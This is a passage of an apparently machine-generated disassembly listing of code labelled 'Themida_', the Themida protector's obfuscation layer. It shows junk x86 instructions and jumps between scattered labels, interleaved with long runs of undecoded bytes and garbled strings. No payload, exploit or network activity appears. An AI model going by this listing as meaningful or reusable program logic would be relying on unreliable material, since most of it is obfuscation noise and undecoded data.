		db 0BFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56A8AB:				; CODE XREF: Themida_:0056C71Ej
		mov	ebx, ecx
		jmp	loc_56140C
; ---------------------------------------------------------------------------


loc_56A8B2:				; CODE XREF: Themida_:00563AAFj
		sub	ebp, esi
		pop	esi
		xor	ebp, 0DBB9AC13h
		and	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	0
		sub	[esp], ecx
		pop	ecx
		push	245Dh
		mov	[esp], ecx
		not	dword ptr [esp]
		pop	ecx
		add	ecx, 48941219h
		sub	edx, 43370D3Fh
		add	edx, ecx
		jmp	loc_56E7FF
; ---------------------------------------------------------------------------
		dw 8956h
		dd 4C681E6h, 83000000h,	4DE904EEh
		db 0C3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56A8FF:				; CODE XREF: Themida_:0056704Ej
		mov	ebx, 6243666Ch
		sub	esp, 4
		mov	[esp], edx
		push	1F84h
		mov	[esp], ebp
		mov	ebp, 0ED05510h
		mov	edx, 5AFA799Ch
		xor	edx, ebp
		pop	ebp
		sub	ebx, edx
		pop	edx
		or	ebx, 64651FECh
		shr	ebx, 4
		add	ebx, 0C4E75CAh
		push	esi
		mov	esi, 12FA3ECAh
		and	ebx, esi
		pop	esi
		jmp	loc_56AFC2
; ---------------------------------------------------------------------------
		db 1
		dd 0BA525BD8h, 713E1EC3h, 148BD301h, 4C48124h, 81000000h
		dd 0B66BB5C3h, 0C870E909h, 6F09FFFFh, 242C8B1Ch, 55E78957h
		dd 948C9BDh, 5B7BE90Ch,	0D4F6FFFFh, 0E480C4FEh,	0F65066A8h
		dd 66012454h, 1C48058h,	0E99BF480h, 0FFFF32D6h,	0D388EA88h
		dd 240C8B5Ah, 0FFC73FE9h, 2B5568FFh, 34890000h,	0BD555324h
		dd 773134Fh, 1E35C581h,	0EDC175E4h, 59F58102h, 0E973EA44h
		dd 0FFFF4B30h
; ---------------------------------------------------------------------------


loc_56A9BC:				; CODE XREF: Themida_:00563C01j
		push	edi
		jmp	loc_56CD52
; ---------------------------------------------------------------------------
		dw 2C89h
		dd 85BD6624h, 2EC8172h,	0E9000000h, 0FFFF6EEDh,	0B1515B66h
		dd 0A72CB1h, 0FF9E9C8h,	0C1810000h, 1BB36808h, 0FFE5D7E9h
		dd 0C8B66FFh, 7BA36824h, 1C890000h, 56E38924h, 6344B850h
		dd 0C6893BAEh, 40BA5258h, 293BAE63h, 0EE95AD6h,	83FFFF46h
		dd 8E904C2h, 8B00001Bh,	0C4812434h, 4, 487468h,	241C8900h
		dd 2CBBh, 0B6BD5500h, 2901630Fh, 242C8BEBh, 0E904C483h
		dd 0FFFF5914h, 8304C483h, 48904ECh, 74BE5624h, 811D9C30h
		dd 606A74F6h, 5EF0893Ah, 0D7173425h, 217057Fh, 0BB5336E2h
		dd 2F4D25E6h, 9AE9D829h, 53FFFFC3h, 63FFE9h
		db 0
; ---------------------------------------------------------------------------


loc_56AA79:				; CODE XREF: Themida_:0056C155j
		mov	ebp, [esp]
		add	esp, 4


loc_56AA82:				; CODE XREF: Themida_:005641B6j
		push	4C6Eh
		mov	[esp], ebx
		push	dword ptr [esp]
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		jmp	loc_560E29
; ---------------------------------------------------------------------------


loc_56AA98:				; CODE XREF: Themida_:0055FB7Bj
		push	dword ptr [esp]
		pop	edx
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_563E57
; ---------------------------------------------------------------------------


loc_56AAAA:				; CODE XREF: Themida_:00569B28j
		push	eax
		mov	eax, 4
		add	edi, eax
		pop	eax
		push	edx
		mov	edx, 488242CEh
		jmp	loc_564DB6
; ---------------------------------------------------------------------------


loc_56AABE:				; CODE XREF: Themida_:0055C5A7j
		pop	ebx
		add	esp, 4


loc_56AAC2:				; CODE XREF: Themida_:loc_56632Bj
		sub	esp, 4
		jmp	loc_570771
; ---------------------------------------------------------------------------


loc_56AACA:				; CODE XREF: Themida_:00566C7Aj
		push	ebx
		push	ecx
		mov	ecx, 218718E2h
		add	ecx, 0FFFFFFFFh
		shr	ecx, 7
		dec	ecx
		push	ecx
		not	dword ptr [esp]
		pop	ecx
		xor	ecx, 0FA6EC913h
		mov	ebx, ecx
		pop	ecx
		jmp	loc_55E628
; ---------------------------------------------------------------------------


loc_56AAEE:				; CODE XREF: Themida_:0055E817j
		pop	ebx
		jmp	loc_5625E8
; ---------------------------------------------------------------------------
		dd 0B8240489h, 0B9A3B1Bh, 241CF750h, 0FFD944E9h, 575B54FFh
		dd 4BFh, 0E9FB0100h, 0FFFF6C7Dh
; ---------------------------------------------------------------------------


loc_56AB14:				; CODE XREF: Themida_:0055EF43j
		xor	edi, 65F67E93h
		not	edi
		add	edi, 9D1BB6FCh
		jmp	loc_565BBF
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C481242Ch, 4, 2474FF56h, 24348B04h,	8F04C483h, 248B2404h
		dd 4FF6624h, 8DE99C24h,	5CFFFF28h, 0E95EF289h, 0FFFF7ACDh
		dd 8B2434FFh, 0A768240Ch, 8900007Ah, 5954240Ch,	6DED68h
		dd 0B8CCE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56AB6E:				; CODE XREF: Themida_:00560420j
		mov	edi, ebp
		pop	ebp
		push	edx
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_565F29
; ---------------------------------------------------------------------------


loc_56AB80:				; CODE XREF: Themida_:005609B2j
		pop	eax
		jmp	loc_56225C
; ---------------------------------------------------------------------------


loc_56AB86:				; CODE XREF: Themida_:0055E07Dj
		pop	eax
		add	eax, 4
		jmp	loc_570968
; ---------------------------------------------------------------------------
		db 5Ah,	0, 0F1h
		dd 0F6C1FE5Ah, 80C1FED9h, 29E903F1h
		db 46h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56ABA3:				; CODE XREF: Themida_:0055D28Aj
		add	eax, 4
		push	ecx
		mov	ecx, 2
		add	eax, 0D287E6Ah
		add	eax, 62BF0F7Bh
		add	eax, ecx
		jmp	loc_564946
; ---------------------------------------------------------------------------
aBBES3		db '│цb/e%Иы3',0
		align 2
		dw 0C681h
		dd 39F7CFB1h, 32E9F389h, 0D2FFFF27h, 0E99C2404h, 0FFFF18ECh
		dd 5B2434FFh, 57E28952h, 4BFh, 2BE5600h, 0D1443D0Eh, 64C681E6h
		dd 0F743FC67h, 2EEC1D6h, 2AACBD55h, 0D5E969B8h,	68FFFF3Ah
		dd 0BB8h, 0FFD758E9h, 0E68956FFh, 4C681h, 0F6E90000h, 5400004Ch
		dd 8124048Fh, 42404h, 0ECE90000h, 56FFFFD5h, 0AA061BBEh
		dd 0AB83E969h, 0E589FFFFh, 4C581h, 0C5810000h, 4, 5C242C87h
		dd 31241C33h, 63E9241Ch, 0FF000023h, 2C8B2434h,	0E2895224h
		dd 4C281h, 0C2830000h, 24148704h, 0E189515Ch, 3217BE56h
		dd 0DEF75569h, 0FFA80DE9h, 240C8BFFh, 1312E951h, 525E0000h
		dd 0C281E289h, 4, 8704C283h, 248B2414h,	240C8B24h, 296DE9h
		dd 21E95E00h
		db 18h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56ACAB:				; CODE XREF: Themida_:0055DA9Dj
		add	ebp, 4
		jmp	loc_56EF5F
; ---------------------------------------------------------------------------
		dw 148Bh
		dd 3837E924h, 0A1BBFFFFh, 2DC34AF2h, 2AC23E87h,	8705D801h
		dd 5B2AC23Eh, 2DFAE9h
		db 0
; ---------------------------------------------------------------------------


loc_56ACD5:				; CODE XREF: Themida_:00564C03j
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	esi
		push	12A7h
		mov	[esp], eax
		jmp	loc_563F66
; ---------------------------------------------------------------------------
		db 8Bh,	0Ch, 24h
		dd 4C481h, 34330000h, 24343124h, 8B243433h, 0F662424h
		dd 0B4E9C8B6h, 68FFFFC7h, 545Bh, 0E9242C89h, 0FFFF2C7Ch
		dd 2D05E0C1h, 1CC95BBDh, 4A48E9h
		db 0
; ---------------------------------------------------------------------------


loc_56AD21:				; CODE XREF: Themida_:0056BC40j
		and	eax, edi
		mov	edi, [esp]
		push	59D9h
		mov	[esp], edi
		push	esp
		pop	edi
		push	ebp
		jmp	loc_55D089
; ---------------------------------------------------------------------------
		dw 6850h
		dd 1, 58C22958h, 781FCA81h, 0C2813B57h,	1, 5E80E94Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56AD52:				; CODE XREF: Themida_:00566272j
		push	esp
		pop	dword ptr [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_563219
; ---------------------------------------------------------------------------
		dd 6624248Bh, 9C243CD3h, 0FF175BE9h, 2434FFFFh,	0FF4ACFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56AD79:				; CODE XREF: Themida_:005627B0j
		mov	ebx, [esp]
		add	esp, 4
		mov	edx, ebp
		jmp	loc_56E8A2
; ---------------------------------------------------------------------------
		db 57h,	56h, 51h
		dd 0FFC94EE9h, 88E688FFh, 0E9505AF7h, 0FFFFB248h, 0BA241489h
		dd 2D2A2F73h, 295AD029h, 2F7305D0h, 34FF2D2Ah, 4325E924h
		dd 0B3530000h, 67EB80DEh, 2C5BDE88h, 4F028D6h, 2434FFD6h
		dd 8324148Bh, 0EC8304C4h, 24348904h, 0FF431DE9h, 0C7835EFFh
		dd 2EFC101h, 1145C781h,	0F829F2E2h, 2434FF5Fh, 4C48359h
		dd 8904EC83h, 4B68240Ch, 59364657h, 574FF181h, 0FEE93646h
		db 4Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56AE07:				; CODE XREF: Themida_:00565E26j
		shr	ebx, 3
		shr	ebx, 1
		jmp	loc_55D4B4
; ---------------------------------------------------------------------------


loc_56AE11:				; CODE XREF: Themida_:0056CF1Fj
		xor	edi, [esp]
		jmp	loc_56DC87
; ---------------------------------------------------------------------------


loc_56AE19:				; CODE XREF: Themida_:0056BF35j
		not	ebp
		sub	ebp, 7D5478ACh
		mov	edi, ebp
		jmp	loc_55FB26
; ---------------------------------------------------------------------------
		dd 4C181h, 0C870000h, 4A52E924h, 14890000h, 48A56824h
		dd 34890000h, 1396E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56AE46:				; CODE XREF: Themida_:00561096j
		mov	esi, 61C02BDBh
		add	ebx, esi
		pop	esi
		pop	ecx
		add	ebx, 70E60CADh
		push	small word ptr [eax]
		jmp	loc_55C4CC
; ---------------------------------------------------------------------------


loc_56AE5D:				; CODE XREF: Themida_:0055F5CFj
		push	1BCBh
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		push	ebx
		jmp	loc_567FBD
; ---------------------------------------------------------------------------
		dd 80F2CB80h, 0EA0404C3h, 0EA2CD800h, 81241C8Bh, 4C4h
		dd 4EC8100h, 89000000h,	9AE9241Ch, 0BB000027h, 4, 835BDA01h
		dd 143304C2h, 24143124h, 5C241433h, 31243C33h, 3C33243Ch
		dd 24248B24h, 24048B66h, 8904EC83h, 0E6892434h,	4C681h
		dd 0EC830000h, 240C8904h, 4D2EE9h, 99C38100h, 291B2FDEh
		dd 0FD015BDFh, 4C5815Fh, 87000000h, 525C242Ch, 157112BAh
		dd 9EE2817Fh, 0C1350D44h, 0C28105EAh, 0FE57D602h, 0E95AD001h
		dd 53EFh, 24148966h, 52665350h,	0D788CBB2h, 4E95A66h
		db 0D7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56AF43:				; CODE XREF: Themida_:0055D866j
		push	eax
		push	56FC0A9Ch
		pop	eax
		jmp	loc_565516
; ---------------------------------------------------------------------------
		db 0B9h
		dd 7AAD675Dh, 0FF3E46E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56AF59:				; CODE XREF: Themida_:0056FE10j
		add	esp, 4
		shr	esi, 7
		shr	esi, 4
		sub	esi, 0DFE225AAh
		jmp	loc_566874
; ---------------------------------------------------------------------------
		dd 0C581E589h, 4, 8704ED83h, 0E95C242Ch, 0FFFFDA0Ah, 8124348Bh
		dd 4C4h
		db 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edi
		jmp	loc_56B364
; ---------------------------------------------------------------------------
		dw 0D889h
		dd 3E8C15Bh, 675EBA52h,	0D001FEEEh, 58C2315Ah, 721368h
		dd 240C8900h, 0CDE8E957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56AFB6:				; CODE XREF: Themida_:0055DAB0j
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_57012F
; ---------------------------------------------------------------------------


loc_56AFC2:				; CODE XREF: Themida_:0056A93Aj
		push	ebp
		jmp	loc_5668DB
; ---------------------------------------------------------------------------
aS3		db '[И3`',0
		align 2


loc_56AFCE:				; CODE XREF: Themida_:0055D6C7j
		mov	ecx, edi
		jmp	loc_56B84E
; ---------------------------------------------------------------------------
		db 0FFh, 77h, 1Ch
		dd 6659669Dh, 9C241CD3h, 0FF96B7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56AFE5:				; CODE XREF: Themida_:0056509Cj
		popa
		popf
		jmp	locret_56A3AD
; ---------------------------------------------------------------------------
		dd 0EA80CA28h, 0FC8BE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56AFF6:				; CODE XREF: Themida_:005613E4j
		add	ebx, ecx
		sub	ebx, 525740F9h
		jmp	loc_56E35E
; ---------------------------------------------------------------------------
aVsM		db 'VИ',8,'M',0
		dd 0E5E98100h, 172223Dh, 0E5BF57F1h, 172223Dh, 348B5FF9h
		dd 4C48124h, 0E9000000h, 0FFFF2D01h, 1668E589h,	89000059h
		dd 0DEE9243Ch, 5D00000Ch, 31243433h, 0B2E92434h, 0FFFFFF69h
		dd 7DE92434h, 83FFFF5Ah, 2C8704C5h, 6E95C24h
		db 0D8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56B057:				; CODE XREF: Themida_:0056299Ej
		mov	edx, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		sub	esp, 4
		jmp	loc_5608F6
; ---------------------------------------------------------------------------
aMhs		db 'MhА~',0
		align 10h
		dd 53242C89h, 0DBF75B5Dh, 0EB31DD31h, 4E9DD31h
		db 0CFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56B093:				; CODE XREF: Themida_:0055E2A9j
		add	eax, 2CC96D4Fh
		jmp	loc_5693FD
; ---------------------------------------------------------------------------


loc_56B09D:				; CODE XREF: Themida_:00568AD1j
		mov	ebx, [esp]
		push	2080h
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_56FE95
; ---------------------------------------------------------------------------
		db 81h,	0F1h, 21h
		dd 53295409h, 1C6378BBh, 5BD93158h, 0BF29C181h,	0C8019750h
		dd 81240C8Bh, 4C4h, 4C08300h, 8B240487h, 40682424h, 0E9000048h
		dd 0FFFF23E2h
; ---------------------------------------------------------------------------


loc_56B0E8:				; CODE XREF: Themida_:0056FD3Fj
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_55E9C6
; ---------------------------------------------------------------------------


loc_56B0F9:				; CODE XREF: Themida_:0055FC45j
		mov	[esp], eax
		jmp	loc_56B6E4
; ---------------------------------------------------------------------------


loc_56B101:				; CODE XREF: Themida_:0056F093j
		push	eax
		mov	eax, 10544CE8h
		push	edi
		push	ebx
		push	7B914610h
		pop	ebx
		inc	ebx
		and	ebx, 4E71208Fh
		shr	ebx, 5
		xor	ebx, 4A30C4FCh
		mov	edi, ebx
		pop	ebx
		dec	edi
		jmp	loc_56C9A3
; ---------------------------------------------------------------------------
		dd 0FF139FE9h, 8B595AFFh, 0C483241Ch, 81536604h, 4ECh
		dd 24148900h, 0D788E288h, 24648A5Ah, 247C8803h,	324EE903h
		dd 5455FFFFh, 8503E95Dh, 0C281FFFFh, 0BFB3BFEFh, 148BD701h
		dd 584DE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56B16A:				; CODE XREF: Themida_:005611B3j
		mov	esi, [esp]
		add	esp, 4
		add	dword ptr [edi+24h], 579879AAh
		shl	dword ptr [edi+24h], 3
		add	dword ptr [edi+24h], 0FFFFFFFFh
		shl	dword ptr [edi+24h], 3
		add	dword ptr [edi+24h], 9C0C22C8h
		xor	edx, edx
		sub	esp, 4
		jmp	loc_55D956
; ---------------------------------------------------------------------------
		dw 5966h
		dd 148BF328h, 4C48124h,	28000000h, 71C380C3h, 808CB551h
		dd 0EB28C2C5h, 81240C8Bh, 4C4h,	0C0B60F00h, 24148B66h
		dd 0FFE11CE9h, 0E6E681FFh, 0E97DE97Ch, 0FFFF8DD4h, 0C681DE29h
		dd 6FDC747Ah, 4EC6815Bh, 17FCF03h, 5432E9C6h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56B1EA:				; CODE XREF: Themida_:0056C924j
		pop	esp
		mov	[esp], ecx
		mov	ecx, 5E533487h
		mov	edx, ecx
		pop	ecx
		not	edx
		add	edx, 24EE7118h
		jmp	loc_55C53A
; ---------------------------------------------------------------------------
		db 54h
		dd 5A1E685Eh, 74E90000h, 81FFFF39h, 4C4h, 243C8700h, 6824248Bh
		dd 28FAh, 51241C89h, 0E952D588h, 0FFFFF760h, 0C3814B5Fh
		dd 0FFFFFFFFh, 0FFFCC4E9h, 0DBEE81FFh, 5870286Fh, 0FFFF8FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56B245:				; CODE XREF: Themida_:00560EBDj
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_56F2D3
; ---------------------------------------------------------------------------
		dd 0C5E38143h, 0E9758A0Dh, 0FFFF1D05h, 8704C783h, 515C243Ch
		dd 1FB3B8B9h, 59CA01F6h, 835AD501h, 0B0E904C5h,	8BFFFFF0h
		dd 89572404h, 4C781E7h,	83000000h, 3C8704C7h, 0C9E2E924h
		dd 0C483FFFFh, 25FEE904h, 0C781FFFFh, 52157869h, 5BB535Ah
		dd 5008F45Eh, 0F64C0FB8h, 35D8F752h, 1198329Ah,	4B18BB53h
		dd 0D8212647h, 14C3E95Bh, 0C2890000h, 6EAC158h,	242CE9h
		dd 11F6E900h, 0C731FFFFh, 5FF83158h, 34FFC629h,	0B37CE924h
		dd 1CF7FFFFh, 0A5E99C24h, 66FFFF6Fh, 0E9241C8Bh, 1E37h
		dd 45EE815Eh, 5560412Ch, 36DAB951h, 0C1817981h,	9C2A0591h
		dd 2159CD89h, 0F5E95DEEh, 53FFFF59h, 4BBh, 5BDF2900h, 31243C33h
		dd 3C33243Ch, 24248B24h, 0FF8FBFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56B331:				; CODE XREF: Themida_:00560735j
		push	eax
		jmp	loc_563F77
; ---------------------------------------------------------------------------
		db 66h
		dd 32E78059h, 8877C780h, 0EA805BFAh, 30EA30D4h,	0F6EA30D5h
		dd 66EA86D5h, 28000068h, 148A2414h, 2C48324h, 0E904EAC0h
		dd 0FFFF7407h
; ---------------------------------------------------------------------------


loc_56B364:				; CODE XREF: Themida_:0056AF91j
		mov	edi, 4
		add	ebp, edi
		pop	edi
		jmp	loc_55F41E
; ---------------------------------------------------------------------------


loc_56B371:				; CODE XREF: Themida_:0055CD80j
		xchg	edx, [esp]
		pop	esp
		push	dword ptr [esp]
		mov	edx, [esp]
		jmp	loc_5676EC
; ---------------------------------------------------------------------------
		dd 1CE268h, 0BEC5E900h,	0C181FFFFh, 4, 31240C33h, 3EE9240Ch
		dd 5FFFFEEh, 227B542Fh,	0AD2F7D05h, 51E80137h, 0F3B3E952h
		dd 0BE56FFFFh, 21F44B7Eh, 0E6C1D6F7h, 0E9DEF702h, 0FFFF15B3h
		dd 0E905E7C1h, 2A8Ah, 0C262C5BEh, 0E9F7096Fh, 2307h, 9E1E5EBBh
		dd 5BDD8955h, 0FA2BF581h, 1AE934C1h, 5F000051h,	4C781h
		dd 0B9510000h, 4, 0F6E9CF01h, 28FFFF15h, 0E5C05AD5h, 49C58005h
		dd 0A2E9162Ch, 81FFFFC4h, 6A2A2BEBh, 0E6EB8146h, 810DF305h
		dd 6403CC3h, 68C3017Fh,	35F1h, 0E9240C89h, 0FFFF78E7h
		dd 25939BAh, 0C8C28177h, 0E926DF03h, 0FFFF186Fh
; ---------------------------------------------------------------------------


loc_56B43C:				; CODE XREF: Themida_:00560566j
		push	ebx
		push	esp
		jmp	loc_55C5B4
; ---------------------------------------------------------------------------


loc_56B443:				; CODE XREF: Themida_:00570C4Ej
		mov	ebp, [esp]
		add	esp, 4
		and	ebx, ecx
		mov	ecx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		xor	ebx, edi
		xor	edi, ebx
		xor	ebx, edi
		inc	edi
		xchg	edi, ebx
		push	ebp
		jmp	loc_5677D9
; ---------------------------------------------------------------------------
		dd 60B2C681h, 0F12935B1h, 0FF4703E9h, 240431FFh, 0FFF3FFE9h
		dd 4B951FFh, 1000000h, 565159C8h, 0FFDF0EE9h, 38CE80FFh
		dd 0F604EEC0h, 54F680DEh, 3DE9F028h
		db 86h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56B4A7:				; CODE XREF: Themida_:00566B9Dj
		and	eax, ebx
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		add	esp, 4
		shr	eax, 10h
		jmp	loc_5709DA
; ---------------------------------------------------------------------------


loc_56B4BE:				; CODE XREF: Themida_:0057001Fj
		add	eax, edi
		pop	edi
		add	eax, edi
		jmp	loc_56CD5C
; ---------------------------------------------------------------------------
		dd 0A1E986B3h
		db 0B8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56B4CF:				; CODE XREF: Themida_:0056F7C1j
		mov	[esp], ebx
		push	dword ptr [esp]
		jmp	loc_566EA8
; ---------------------------------------------------------------------------


loc_56B4DA:				; CODE XREF: Themida_:0056166Dj
		add	ecx, 7FAB34DFh
		push	eax
		mov	eax, 66F92DDCh
		sub	ecx, eax
		pop	eax
		add	ebp, ecx
		pop	ecx
		push	edi
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 7A5A572Dh
		not	ecx
		push	3E0Bh
		mov	[esp], edi
		push	ebx
		mov	ebx, 7D7F2DC5h
		mov	edi, ebx
		pop	ebx
		dec	edi
		or	edi, 1DE80D8Bh
		add	edi, 5AD32448h
		push	esi
		mov	esi, 55734470h
		shl	esi, 7
		add	esi, 652D290Dh
		sub	edi, 50BE43F2h
		jmp	loc_56F401
; ---------------------------------------------------------------------------
		dw 489h
		dd 66B15124h, 40E931B4h
		db 0DEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56B53F:				; CODE XREF: Themida_:005688CAj
		mov	ecx, 32AF3B82h
		jmp	loc_55D56E
; ---------------------------------------------------------------------------


loc_56B549:				; CODE XREF: Themida_:00567279j
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_56704B
; ---------------------------------------------------------------------------


loc_56B55F:				; CODE XREF: Themida_:00564AE7j
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		jmp	loc_569555
; ---------------------------------------------------------------------------
		dw 0EF89h
		dd 5FFE895Dh, 1C28F681h, 0F0290DEBh, 46A4E9h
		db 0
; ---------------------------------------------------------------------------


loc_56B581:				; CODE XREF: Themida_:00562930j
		push	7CE9h
		jmp	loc_565ADD
; ---------------------------------------------------------------------------
		db 89h
		dd 13E9242Ch, 50000037h, 0BD55E089h, 244C3370h,	6BED814Dh
		dd 1244C33h, 4AD7E9E8h,	0EC830000h, 24148904h, 0FF5F9FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56B5B5:				; CODE XREF: Themida_:0056F9C0j
		add	eax, ebp
		jmp	loc_56574B
; ---------------------------------------------------------------------------
		dd 0B50D63B8h, 0F7E9533Ch, 5DFFFFF6h, 31243433h, 0C6E92434h
		dd 89000030h, 0C28158C2h, 76EC1318h, 72BDF281h,	0D501C845h
		dd 8124148Bh, 4C4h, 5A545200h, 4C281h, 0EA810000h, 4, 0FFDCC2E9h
		dd 0E68956FFh, 171BBB53h, 0EB81789Dh, 789D1717h, 575BDE01h
		dd 453ACBFh, 0CFCF8165h, 8158867Ch, 0E03441E7h,	0F74F4718h
		dd 45C781DFh, 1188034h,	0E9565FFEh, 38E2h, 24048F58h, 0FFB980E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56B641:				; CODE XREF: Themida_:0056D06Fj
		jmp	loc_55C4CC
; ---------------------------------------------------------------------------
		dw 0B652h
		dd 0E5044Ah, 8BE52CF0h,	0C4812414h, 4, 0FF5DCEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56B65D:				; CODE XREF: Themida_:0055D72Fj
		mov	edx, 347E3FE3h
		xor	ebx, edx
		pop	edx
		add	eax, ebx
		push	dword ptr [esp]
		jmp	loc_55E07A
; ---------------------------------------------------------------------------
		db 0BEh
		dd 4004352Ch, 0FF6518E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56B679:				; CODE XREF: Themida_:0056025Fj
		push	ecx
		jmp	loc_56C701
; ---------------------------------------------------------------------------


loc_56B67F:				; CODE XREF: Themida_:00560AF4j
		push	6C17h
		jmp	loc_56F323
; ---------------------------------------------------------------------------


loc_56B689:				; CODE XREF: Themida_:00568573j
		add	ebx, ebp
		add	ebx, 4F471AC1h
		add	ebx, 6E206CF6h
		pop	ebp
		and	eax, ebx
		jmp	loc_55D508
; ---------------------------------------------------------------------------


loc_56B69F:				; CODE XREF: Themida_:005638D0j
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		not	ebx
		sub	ebx, 4D4D25DCh
		shr	ebx, 8
		jmp	loc_5701D2
; ---------------------------------------------------------------------------
		db 81h
		dd 0F3618BCDh, 0A4C5816Ch, 291344C1h, 3CE95BDDh, 80000005h
		dd 34FF5FC3h, 0C4815924h, 4, 0E9C0B60Fh, 0FFFF2FA4h
; ---------------------------------------------------------------------------


loc_56B6E4:				; CODE XREF: Themida_:0056B0FCj
		mov	eax, 272E16A8h
		shl	eax, 7
		add	eax, 0E7CCF139h
		xor	edi, eax
		pop	eax
		and	eax, edi
		push	dword ptr [esp]
		pop	edi
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_560EF9
; ---------------------------------------------------------------------------
		dd 0B8240489h, 4EC52A13h, 8244401h, 240C8B58h, 8B04C483h
		dd 0C4832434h, 4C68104h, 55000000h, 3BD16850h, 0F7587885h
		dd 0E42D40D0h, 535FFE6Dh, 0DD89C389h, 0E9241C8Bh, 0FFFF58B2h
		dd 0CE20DBBAh, 0A244E90Fh, 0C581FFFFh, 4, 4EC81h, 4890000h
		dd 4B824h, 0C5010000h, 9A6E9h, 0E9CA0100h, 0FFFFCC1Ah
; ---------------------------------------------------------------------------


loc_56B770:				; CODE XREF: Themida_:0056BF69j
		mov	edi, esi
		pop	esi
		push	esi
		jmp	loc_560C49
; ---------------------------------------------------------------------------


loc_56B779:				; CODE XREF: Themida_:0056FE58j
		and	esi, 74157EC4h
		push	esi
		jmp	loc_5631CF
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
		dd 0E1895124h, 1DF268h,	243C8900h, 55519E68h, 243C8B28h
		dd 4EC81h, 34890000h, 348B5424h, 4C48324h, 4EC81h, 0C890000h
		dd 3FBF5724h, 0F760425Fh, 3F0FE9DFh, 489FFFFh, 4B824h
		dd 0E1E90000h, 0ACFFFF7Ah, 8957D830h, 4C781E7h,	0E9000000h
		dd 0FFFF6713h, 3C0568h,	243C8900h, 4EC81h, 0EC810000h
		dd 4, 52242489h, 4BAh, 24540100h, 25D1E904h, 0C4810000h
		dd 4, 8159CF01h, 4C7h, 4252E900h, 50560000h, 5033E9h
		db 0
; ---------------------------------------------------------------------------


loc_56B821:				; CODE XREF: Themida_:0056B8B3j
		mov	ecx, 69C14412h
		inc	ecx
		push	ebp
		mov	ebp, 6F1D1C1Fh
		push	esi
		jmp	loc_56F924
; ---------------------------------------------------------------------------
		db 5Eh
		dd 0E95FFD01h, 0FFFF9A52h
; ---------------------------------------------------------------------------


loc_56B83C:				; CODE XREF: Themida_:005704DCj
		sub	edx, 6B306CC1h
		pop	ecx
		jmp	loc_568599
; ---------------------------------------------------------------------------
		dd 0E55BE957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56B84E:				; CODE XREF: Themida_:0056AFD0j
		mov	edi, [esp]
		add	esp, 4
		push	edi
		mov	edi, 200A13h
		sub	ecx, edi
		pop	edi
		push	edi
		mov	edi, 3CFA0658h
		add	edi, 58B100EFh
		sub	edi, 4FE1567Ch
		xor	edi, 11839329h
		add	ecx, edi
		jmp	loc_56587A
; ---------------------------------------------------------------------------
		dd 5DEF0159h, 5C243C87h, 0F66F9F6h, 6866CCB6h, 5CE964C6h
		dd 8BFFFF5Bh, 0F1E92424h
		db 9Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56B89B:				; CODE XREF: Themida_:0056F860j
		xor	ebp, 493005E9h
		add	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	edx
		mov	edx, 285A75E1h
		shr	edx, 6
		push	ecx
		jmp	loc_56B821
; ---------------------------------------------------------------------------
		dd offset dword_445750+7B18h
		dd 0EB9FE900h
